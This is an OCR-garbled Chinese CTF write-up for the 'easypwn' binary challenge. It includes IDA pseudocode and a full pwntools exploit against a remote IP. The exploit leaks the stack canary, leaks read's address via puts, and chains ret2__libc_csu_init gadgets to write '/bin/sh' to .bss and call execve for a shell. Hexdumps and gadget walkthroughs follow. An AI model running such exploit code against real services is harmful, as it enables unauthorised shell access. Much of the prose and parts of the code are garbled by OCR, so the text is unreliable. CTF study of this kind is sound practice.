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43%%E#:  CTF PWN python X ZE#R%: CTF ROP PWN ret2 libc csu init syscall
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2t ROP-ret2__libc_csu_init

AR HEMCTFLL3E + = A% LK —AE"easypwn”

B HCHF: easypwn

¥E#%: https://pan.baidu.conVs/1aPTSUMHT-1JR2yWJgo2B-g & #%: id3x

WITFaE8Z A, B LAXASTT BRI R BB — R, R E S H T+

A 2 BT Pl Y

EZ3|IDARH M — N ER L, WEARIMH2KEE, KAMEXERS (read) K= LY
(memset) %5 E] K

IDA View—h |:| Psendocode—h @ Strings window |:| @ Hax View—1 |:| Structures |:| Efj Enums= |
1/int _ cdecl main{int argc, const char ==argu, const char ==enup)
2
3| char buf; /f [sp+@h] [bp-56h]@E1
4 _ intéd wh; SF [sp+hBh] [bp-8h]@E1
5
6| ub = =MK_FP{__FS__ , 48LL});
7| memset{&buf, @, Bx4Bull};
8 puts(“Hellotl am the smartest robot in the universet\nWho are you?");
9| Fflush{_bss_start);
18| read{8, f*JUF, Bx180ulL);
11| printf(
12 "Your name %s sounds so stupid?inBut you don't looks like a fool,isn't it?wnso why don't tell me your real name?\n",
13 &bufy;

14| FFlush{_bss_start);

15| read{B, &buf, Bx186ulLL);

16| puts{"0htThis one is better,nice to meet youtinGoodbyetSee you againt™});
17| return *MK_FP{_FS__, 4BLL) ~ ud;

RAERIERATAT AEread B AZH X MR L 5 — K, BiE —2EER
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SRR VR
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[#] '/root/D
Arch:

RELRO:

Stack:
NX:
PIE:

MABAT— T

i~/ top# ./easypwn
Hello!I am the smartest robot in the universe!
Who are you?
hehe
Your name hehe

sounds so stupid!
But you don't looks like a fool,isn't it?
so why don't tell me your real name?
yourfather
Oh!This one is better,nice to meet, you!
Goodbye!See yolu again!

BHEXERKERwriteup, ¥ JEH.



#/usr/env/bin python

from pwn import *

context.binary = './easypwn'
#context.terminal = ['tmux','sp','-h']
context.log level = 'debug'

elf = ELF('./easypwn')

#io = process('./easypwn')

io = remote('106.75.66.195"', 20000)

#leak Canary

io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
io.recvuntil('A'*(0x50-0x8))

canary = u64(io.recv(8))-0xa
log.info('canary: '+hex(canary))

#leak read_addr

io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)

payload += p64(canary)

payload += 'A'*0x8

payload += p64(0x4007f3)

payload += p64(elf.got['read'])

payload += p64(elf.plt['puts'])

payload += p64(0x4006C6)

io.send(payload)

io.recvuntil('See you again!\n")

#cacl syscall addr

read_addr = u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00"'))
log.info('read_addr:'+hex(read_addr))
syscall = read_addr+0xe
log.info('syscall:'+hex(syscall))
sleep(0.5)

io.recvuntil('Who are you?\n")
io.sendline('A'*(0x50-0x8))
#gdb.attach(io, 'b *0x4007d6")
#execve("/bin/sh" ,NULL,NULL)
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)

payload += p64(canary)

payload += 'A'*0x8

payload += p64(0Ox4007EA)

payload += p64(0)+p64(1)+p64(elf.got[ 'read'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)

payload += p64(9)

payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0Xx601080)
payload += p64(0x4007D0)

io.send(payload)

sleep(0.5)

raw_input('Go?")

content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A")
io.send(content)

io.interactive()

B A 53 #r -
AR RIFF SR RO PR S B AR B T WIARFF R 28— A BRI



KX B "A™(0x50-0x8), XM BE IR f& 22 v X F K /) -

LEXL L
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:

TUUOONUONOHUO0LT Tid LT
000000088B4BAGLG
00000000004 BAGLE
00000000004 006C6
000000088B4BAGLG
00000000004 BAGLE
00000008004 00A6CT
000000000B4BAGLA
00000000004 006CE
0000008088084 BAGDT
000000000BL4BAGDE
00000000004006DD
00000008084 BAGE1
00000000004 BAGEG
00000000004 PAGER
000000000B4BAGEE
00000000004 AAGF 1
00000000004 BAGF G
000000000BL4BAGFE
g0000000004 007 02
00pe00080B4 DAY A5
0000000000407 OA
00000000004 007 OE
0000000 00B4BA7 13
00000000004 BA7 16
00000000004 007 1B
appe0e00ABLBA7 20
0000000000400725
00peO080AAB4BA7 29

buf

var_8

Proc_medr

byte ptr -58h
quord ptr -8

» UHTH AREF . _STAFCFIDTO

rax, Fs:28h
[rbp+var_8], rax

rdx, [rbp+buf]

lea
mov eax, @
mnou ecx, B
nov rdi, rdx
rep stosq
mnou edi, offset s ; "Hello'I am the smartest robot in the un'...
call _puts
mov rax, cs:_ bss_start
nov rdi, rax : stream
call
lea l Eax, [rbp+buf]
nov edx, ; nbytes
mov rsi, rax ; buf
now edi, @ ; Fd
nov eax, @
call _read
(] ax, [rbp+buf]
mov rsi, rax

XEATRRZH XKD, BEEBRRREKOX08RZ % T canary )% [

BRMAERFAWREIXBEE 2 ESREER, BIAIKED 2K R Esendline() 7 &g B IM—ANF
Oa (EIZEF) XFERERINIGFEcanaryf 8 — N FH00AE G 1, FHiR Bl F4F B R A B2 #canary 11X
MNOOF A E N, Lot FEcanary B, JAXHIREEIMcanary2% T 0x0al1, Frblz g X T —14.

KA T F BB AR ) B R XA -

] Sent 0x49 bytes:

"AAAAAALAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAALAAAAAAAAAAAAAAND

] Received
pgopopoee 59
peeeeele 41
*
00000050
20000060
00000070
00000080
00000090
0000080280
000000b0
000000bf
canary:8x869c5539c7338800

Oxbf bytes:
6f 75 72
41 41 41

6d
41

6e
41

61
11

41
75
42
6T
69
20
6T

41
6e
75
6b
73
64
75

39
6f
75
6b
69
20
61

55
20
20
65
74
6 74
72 2 BC
[*]

RAEKAUEZE - BAGEHZ T —/0a,

canary.

2 JE RiE%E —A-payload E#E E:

] Sent 8x78 bytes:
peeeeeee 41 41 41 41

3

peeeee40

41 41 41 41
41 41 M1
41 41 41
30 10 60

40

41
41

41
41

41
41

41
41

0000050
00000060
0eRE0AT0
00000078

fif B — F payload# & i B K :

AAAA
AAAA

Your nam e AA
AAAA | AAAA | AAAA

20 41
41 41

41
41

41
41

11
11

41
41

11
11

65
41

40 6f
69
74
6f
20
6d
65

20
64
20
6T
77
65
3f

73
21
6cC
6cC
68
20

AA 3
unds
But
oks
isn'

don
our

au
S0
you
like
t it
't t
real

@ so
id!
t lo
ool,
7 so| why
ell me y
nam e? |

stup
don’
af

6T
2c
79
79

XAN0aZ 5 H-EAN 7 sk R canary A B FE . Bl A IE3REE] T

41 41 41 41 41 41 41 41 ARAA | AAAA  AAAA | AAAA

39 55 AAAA | AARA

AAAA | AAAA

=] A\
@

au

o e W




payload = 'A'*(@0x50-0x8) #EFEbufferff = E

payload += p64(canary) #K 2Z BRI B M canary#T 8, BffEpayload B, fRiEcanaryi#ZIER
payload += 'A'*@x8 #78 5 SRR (178 P XA B B0 R LR AF K rbp 3L 8 AN

payload += p64(0x4007f3) #X BF HretZ sl —/MEARE, FHEARE

payload += p64(elf.got['read']) #ltAbread_got ¥4 Ml read & $se Fr N R AT K 1 B sehhhk
payload += p64(elf.plt['puts']) #A Fput s R H0K 1T ) bk 3T ENHE B8 i sk

payload += p64(8x4006C6) #PEHIFE P B IR ATmain R H

XEBREAtAMA 0x4007f3 XA H#hE, RERIXpayload ikt XKML H O LM E, 0x4007f3HI 6L B 3
IR E e, BRI EHAT, KBEERERHA:

0EEe00a0 90400876 (48 B3 c4 08 add rsp, 8
0oeeoRan 004087ea (5b pop rbx
0EEe0ea0: 004887k |5d pop rbp
DEEe00a0:904887ec (41 5c pop ril2
0EEe0Ea0:9040087ee (41 5d pop rl3
DEEEOEA0 00408710 |41 S5e pop rld
41 5f pop rl5
0eEe0ee0:0040087F4 (c3 ret

0e060080 0040675 |96
0e0e0080:004007F6 |66 2e @f 1f 64 00 60 6.

0Bpoo0a0: 004008008 |f3 c3 ret
0Bpoooa0: 00400802 |06 60 | rax], a
0Bpoo0a0: 00400804 |48 B3 ec 08 sub rsp, &
AARARAAR : ARAAARAR AR A rd AR add_ren 8

FRXAHITH ESF BT APATRANCHIE S Kk 0x4007f3 , XAJARMN 0x4007f2 FFaHIE? A
HERIE A R B XERE T M ZAMA 0x4007f2 XA kL

RXEA—MER B A

text:00000000004008%96 add rsp, 8

text:000000000040089A pop rbx

text:0000000000400898 pop rbp

text:000000000040089C pop r12

text:000000000040089E pop ri3

text:00000000004008A0 pop rl4

text:00000000004008A2 pop rl5

text:00000000004008A4 retn ——> {Big—URiF(7*8=56byte)FiEE T
EyMEE— 2B AHNERIx64 gadgets, 32 pop rdi, retfiigadgets. X gadgetsiR2EEE, BE2H
opcodef&SiFTaR.

W EROBIFRA008A2. A008AAFRAIMNSTRMT

Ox41 Ox5I

Oxc3
EEEpop rls, ret, (EEtAFpop rdi, retfiopcodelll T
Ox5f Oxc3

HikinEHAEm0x4008A3FK ] LT Epop rdi, retflopcode, MW TFEEHHHOILIEERERT

PR A 2 AR X BARRS :
HOAMLHIRIE RS, SHULERINTWT:



64{LiCmBSaEE

641iC 5

MEHS TN, SEMNERL NG AE % : rdi, si, rdx, rex, 8, 9.
NZHCNTACL R, [T 6 ASSRTE R, (EE PRI A T IO, BN g2 fE T g — FE -

ZEA BT 7 4B i

H(a,b,c,d, e, f, g h);

a->%rdi, b->%rsi, c->%rdx, d->%rex, e->%r8, f->%r9
h-»8(%esp)

g->(%esp)

callH

BAVRIE T rdiF AR RAABE NS, FES T rdift ™/ a0 AR B EE — N 28, XREFEI—
TR I payload & 4% 2% 8] (¥ 45 44 -

"A"*(0x50-0x8)

LA _EAbufferf B
canary Z A E R canary
"ATEG HiTnaintE 7 B Flrbp
Px4807f3 f5[Elpop rdi;ret,iZEEiE B

AR A% FEpop rdi, FErdifl{EEgetTF
readBEIFE M AL, FlreadiRIENS0RmINE: A7
it
MRS Eret, EEMBIER T —SHiTH
ik, FIEAputsERET, MEBHSHME F—F
popElrdi B HNE

8x4806c6 | AT put 7 5 B35 Elnai ni ]

B8] 38 183X A payload RE % 15 12 7 it 3% Hiread R UK SEBn in Bk, I HREF e Bk PUTmainiR £, $R4LH
U P i H R TR B 2% 1

BT REFERBRINMGBE M FEreadtitt 2 J5, B—XKEZ Tmaink M, BH—RKFHRE, XEJHR
7 B i 55— payload 4 id JE 7 .



payload = 'A'*(0x50-0x8)

payload += p64(canary)

payload += 'A'*0x8

payload += p64(0x4007EA)

payload += p64(0)+p64(1)+p64(elf.got[ 'read’'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0O)

payload += p64(0)

payload += p64(0)+p64(1)+p64(8x601088)+p64(0)+p64(0)+p64(0x601080)

payload += p64(0x4007D0)

XEPEHEFLWAE:
ex4e07de-> mov rdx,rl3
mov rsi,rld
mov edi,rl5d
call gquword [rl2+rbp*8]
add rbx,1
cmp rbx,rbp
jnz short loc_4887D@
add asp,8
@x4807ea-> pop rbx
pop rbp
pop rl2
“A"*(8x50-8x8) pop ri3
pop rld
EFbuffer pop ris
canary ?:féi‘—_-fcanaryf%?)j
"A"E8 Exrbp
O t08Tes BRI, EE— BB TE, TER
IS
B
HiT: pop rbp rbp=1
got_read 4T : pop ri12 rl2=got_read
0x3B AT : pop ri3 r13=6x3B
4T : pop r14 r14=8x601080
(2 #AT: pop r1s r15=8
0x4007d0 ret->iE B (HFET EH)
e
2] HiT: pop rbx rbx=0
| H4T : pop rbp rbp=1
0x601088 AT : pop ri2 r12=0x601088
e HiT: pop r13 r13=g
2] HiT: pop ri4 rl4=9
0x601080 4T : pop ris r15=00601080
@x4807de

0e0ee0oe: 004087cE|0f 1T 84 00 06 QB 80 80| nop dword ax+r
0e0e0000: 00400740 (4c B9 ea mov rdx, rl3
0E0eE0Een: 00406743 (4c B9 fB mov rsi, rl4

0e0ep000: 00400746 (44 89 TT
0E0eE00e: 004087d9 |41 T 14 dc

mov edi, rl5d
call gword [rl2+rbx*8]

0epen0oe: 004087dd |48 B3 c3 01 add rbx, 1
DAQBA0EE: 0040671 (48 39 eb cmp rbx, rbp
0e0eE0ae: 0040874 |75 ea "*jne Ox48087d0
0apeE00E: 00406876 |48 B3 c4 08 add rsp, 8

5b pop rbx

98000066 : 0A4087eb |5d pop rbp
AO00006E: 004087ec [41 5c pop rl2
08000060 : 004007ee (41 5d pop rl3
AO000060: 00400770 (41 Se pop rld
08000066 : 00400712 [41 5F pop rils

0e0e0000: 00406714 (c3 ret
0a0ae000: 0040675 |96 noj

00060000: 0040077666 2e 6T 1f 84 0B 80 8. nop wor
AARRARAR : AAAARARAILFE 3 rat

WEREEE 2, F— R RI0x4007d0, #ATcallz Bi =284, 251%r13,r14,r15dK{ER S T rdx rsi,edi
ST AR BATTURIAA3 rM4,r15F FERBANSH 2, HRE&EHRD Trdxrsi,ed=NFFHES, HLH
& 0] LI i )38 payload FE #l $AT IR M B =A% 7 8%, T2 J& Bcall qword [r12+rbp*8],1X B 2| I AN 5 73
R B A Tpopit Z MIME, XFEFRATIE T 51258 7T LLLERR 5 34T AT ZEHAT I R 3.



RIGHE—TXAT¥E 2 S call AT R4 %L, ropZFFasH KIME A0, r128{E Rreadk Ff¥gotiht, call
[r12+rbp*8]5k & L friz /Tread R %1 .

% 5y fiBread i i — B/ =ANSH

read(int fd;char * buf,size_t count);

R read MBUR AT, Wik ElreadB B 74, ZBOAMIBIERALBRSHMINT, =ANASBUKKFERT
rdi,rsi,rdx.

HTRATZ AT EBE

rdi(edi)=r15d=0

rsi=r14=0x601080

rdx=r13=0x3B

[

read(0,*buf=(0x601080),0x3B);

XEmainR B EERA TMAKAME, F—N2H080, RrFEREEHRAN, XRFEEeprZFaAN, Xtk
B®JEH)

content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(Ox3B,'A")
io.send(content)

X B sendid 2 B FdE it 2 b T F Hread BR Bkt 2 K AR T

REEFMAR:
2 E A S HR0x601080, M4 HE=ASHZ0x3B

0x601080 : &Iz BERbssB, bssBRMRMFBET H RGN ERZEN —RANF XK, XBRAFE
6], PGS B BT

0ER0ORA0:A0601060 |60 a7 75 88 93 7f 00 00 00 0O 0O 00 08 00 80 08| Ju.............
0OEE00E0: 00601070 (00 OO 0O 0O 00 00 0P 0D OO OO 0O 0D 00 0O @0 00|........ .. .c0.0n
0O0E00E0: 00601080 (2T B2 &9 Be 2T 73 6B 00 5e db 48 8B 93 7T 00 00|/ /binssh.”[H.....
0O0E00E0 00601096 (41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|AAAAAAAAAAAAAAAA
0O0E00E0 00601050 (41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|AAAAAAAAAAAAAAAA
0O0E00E0:006010bE (41 41 41 41 41 41 41 41 41 41 41 09 00 00 00 00 |AAAAAAAAAAA. .. ..
0OEE00E0:006010cE 00 OO 0O 0O 00 00 0P 0D 0O OO 0O 0D 00 0O @0 B0|........ .. .00
0OEE00E0: 00601040 00 08 0O 0O 00 00 0P 0D 0O OO 0O 0D 00 0O @0 00 |........ .. .c00us
0OEe00R0 0060100 (00 OO OO 0O 00 0O 0B OO 0O OO0 QO OB @8 @0 @0 00 |...... . Lol ..
0EEE00A0:0E6R10T0 (00 B8 B8 60 9O 00 00 00 0D 00 00 GO0 08 0D 08 08.

0x3B : 7EGAMIEIERZH, (EARATHAS, Fﬁlﬂ)ﬂﬂ‘l@ﬁlmexecve@ﬁ X Fexecve® Hux B HERE —
T, execverk#

AN 2 B 7T LLE F X/ https://blog.csdn.net/chichoxian/article/details/5348613 1

read R AT 2 JF LR BB FWH, XAMER HraxF F 8RR, B Lt read & o Hl A5 N\ B 75
Hogh 7T MER A F 0 R AR 57 Arax.

4T 58 call qword [r12+rbp*8] 2 )5 :


https://blog.csdn.net/chichoxian/article/details/53486131

8x4887d8->

Bxd087ea->

rox+1 5 roptb BRIF S (2 B K popff S rbx=0;rbp=1)
BhEEAR AL, Xfasp+8, H T ik RMEMbE MK, Arllasp+8MH Y4 F LRI CR Hik

ret->iE B (hiE T EH)

a | FEHITER S add asp,B| |

a HiT: pop rbx rbx=0
HiT: pop rbp rbp=1
#iT: pop r12 r12=0x6010888

2} #iT: pop ri3 r13=0

8 #iT: pop ri4 r14=0
AT : pop ris _r15=60601080

T

Pt LA 7E payloadH 55 — M 0x4007d02 J5 (102 R XX M asp+8ar4, HAEfE R MNIA —REH —BpopifE, 24
KREFAAHME, EIiEHOx4007d0% B — k#1472 call qword[ r12+rbp*8 | HIRHi%, HFIFEMRM BB T -

r12 = 0x601088, XAtk 2 BA1E )G Kk s BEAE Hsyscallff) LRz T Hu kit

rdi #){&Fedi = r15d = 0601080, X282 FFFHF “/bin/sh”

rsi=r14=0

rdx=r13=0

XEHEER Z BT rax = 0x3B,f2F I ATsyscall i, Mraxh BN RZE A S0x3B, AT R %L
execve, execveRFUET =N FABRKRMBITHIBREN =S, L rdi, rsi, rdx, X=NHEHCEHELT

T, BT

execve (‘/bin/sh’, 0, 0)

XANBREBAT, HeTFE—Ashell, BIER|shellz f5#kflaggh At T .
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